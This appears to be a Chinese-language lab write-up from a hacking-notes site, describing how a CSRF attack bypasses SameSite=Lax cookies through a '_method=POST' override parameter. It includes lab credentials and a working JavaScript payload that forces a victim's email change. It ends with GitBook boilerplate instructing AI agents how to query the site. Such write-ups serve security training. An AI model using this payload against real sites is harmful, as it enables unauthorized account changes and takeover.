> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-method-override.md).

# 通过方法覆盖绕过 SameSite Lax

### 通过方法覆盖绕过 SameSite Lax

该实验室的电子邮件地址修改功能存在 CSRF 攻击漏洞。网站使用 SameSite=Lax，但可以通过在 d-override 参数中强制使用 POST 方法查询来绕过此保护（`&_method=POST`) 在 URL 中。

\*\*目标\*\*/ 在利用服务器上托管一个有效载荷（已利用），该载荷会发出请求将电子邮件地址更改为受害者的姓名，以完成实验室。

**凭证（测试账户）**/ `wiener: peter`

<figure><img src="/files/578106a8297f96f64cbda6487318e37e6750a49b" alt=""><figcaption></figcaption></figure>

* 对电子邮件修改端点发起 GET 请求会返回方法不允许。
* 添加 `&_method=POST` URL 中的参数会使请求被接受（网站接受该覆盖，将请求视为 POST），从而即使在 SameSite=Lax 的情况下也能执行该操作。

```
&_method=POST
```

<figure><img src="/files/63088f5308a9529ac192bf828d91c54e27c2d847" alt=""><figcaption></figcaption></figure>

#### **利用服务器载荷**

下面的脚本通过包含覆盖参数强制使用 POST，将受害者重定向到电子邮件修改 URL：

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.